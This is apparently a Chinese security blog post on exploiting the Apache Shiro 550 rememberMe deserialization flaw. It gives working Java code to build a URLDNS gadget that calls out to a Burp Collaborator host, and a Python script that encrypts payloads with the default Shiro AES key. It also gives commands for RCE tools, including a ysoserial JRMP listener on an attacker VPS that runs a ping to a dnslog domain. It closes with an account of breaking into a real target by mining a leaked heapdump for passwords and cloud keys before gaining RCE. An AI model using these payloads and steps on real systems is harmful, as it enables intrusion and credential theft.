shiro550反序列化漏洞利用探究(附实战案例)

shiro550反序列化漏洞利用探究(附实战案例)

Apache Shiro 是 Apache 软件基金会旗下的开源 Java 安全框架,以易用、灵活、轻量为核心优势,核心解决认证、授权、会话管理与加密四大安全问题,适配 Web / 非 Web、分布式等全场景,可独立使用或与 Spring 等主流框架集成。

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户的登录信息加密编码,然后存储在Cookie中。对于服务端,如果检测到用户的Cookie,首先会读取rememberMe的Cookie值,然后进行base64解码,然后进行AES解密再反序列化。

那么可以构造一个cc链序列化后的字符串,并使用内置的一个默认且固定的加密 Key进行AES加密后再进行base64编码,那么这时候服务端就会去进行反序列化我们的payload内容,最终实现RCE。

利用流程

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

受影响的版本

Apache Shiro <= 1.2.4

指纹特征

响应包中包含字段remember=deleteMe字段

漏洞环境搭建

源码下载

1
2
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换到指定版本分支

准备对应版本环境,java1.8,tomcat9.0

具体搭建流程参考

https://www.cnblogs.com/h0cksr/p/16189761.html

搭建成功后页面如下

环境搭建成功

进行登录后响应包出现remeberMe=deleteMe可确认为shiro框架

rememberMe=deleteMe特征

漏洞利用

出网环境下:URLDNS链探测漏洞是否存在

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//URLDNS.java

import java.io.*;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap map=new HashMap();
URL url=new URL("http://e2hvmezvglr70to8gako0p6ycpig65.burpcollaborator.net");

Class clazz=Class.forName("java.net.URL");
Field hashcode=clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
// System.out.println(hashcode.get(url));
map.put(url,"test");
hashcode.set(url,-1);

serialize(map);
// unserialize("ser.bin");


}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}

核心原理

1 创建 URL 对象: new URL("http://xxx.burpcollaborator.net") 准备触发 DNS 的载体
2 反射获取 URL.hashCode 字段并设为 123 绕过本地 DNS 触发(因 hashCode ≠ -1
3 URL 作为 key 放入 HashMapmap.put(url, "test") HashMap.put() 调用 hashCode(),但因已设为 123,不解析 DNS
4 再次反射将 hashCode 改回 -1 恢复“未计算”状态,为反序列化做准备
5 序列化 map 到文件 ser.bin 生成最终 payload

然后进行 AES 加密 + Base64 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
with open(file,'rb') as f:
return f.read()


def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext

if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))

我们将生成的base64字符串传入cookie中,并seesion删除,发送请求

URLDNS链探测成功

说明漏洞存在

不出网能回显利用

针对不出网环境,dns和JRMP探测都没办法进行,这时候可以尝试使用回显方式进行检测,选择网站上的一个静态资源来利用

选择静态资源作为回显点

检测到漏洞存在并成功利用

回显利用成功

不出网无回显漏洞利用

用修改版 ysoserial 生成内置延时命令(如 sleep 5)的恶意序列化 Payload,在目标服务器反序列化时强制其主线程休眠指定时长,检测脚本通过精确比对请求发出到响应返回的时间差,若耗时显著超过正常阈值(如大于设定秒数),即可在无需目标服务器主动外连(不出网)且无命令执行结果返回(无回显)的条件下,确证漏洞存在及密钥正确。

项目:https://github.com/zhzyker/shiro-1.2.4-rce

1
python3 shiro-1.2.4_rce.py http://1.1.1.1:8080     

成功检测到漏洞存在

延时检测成功

执行成功

无回显执行成功

有key无利用链-JRMP

已知加密密钥但目标环境缺少常见依赖库(即“无链”)时,如何利用 JRMP 协议 进行攻击的实战技巧:通过在自己控制的 VPS 上启动恶意 JRMP 监听器,诱导目标服务器连接并动态下发利用链代码,从而绕过本地依赖限制实现命令执行

1
java -jar shiro_tool.jar http://localhost:8080/samples_web_war/login.jsp

工具识别结果

然后在vps上部署JRMP协议

1
2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping -c
2 cba7a36c.log.dnslog.pp.ua."

最后在输入vps:1388

成功利用

JRMP利用成功1

JRMP利用成功2

实战案例-pd项目

在信息收集初段对目标站点进行目录探测意外发现heapdump泄露

heapdump泄露

随后下载下来用工具进行利用,看看有没有敏感信息

1
java -jar  JDumpSpider-1.1-SNAPSHOT-full.jar  heapdump

除了一堆账号密码泄露外,发现存储同ak,sk

AK/SK信息泄露

对此尝试进行利用,但是失败了

尝试利用失败

再回去找找发现shiro-key

发现shiro-key

后面直接起个工具看看有没有利用链

检测利用链

检测到利用链,后面直接rce了

RCE成功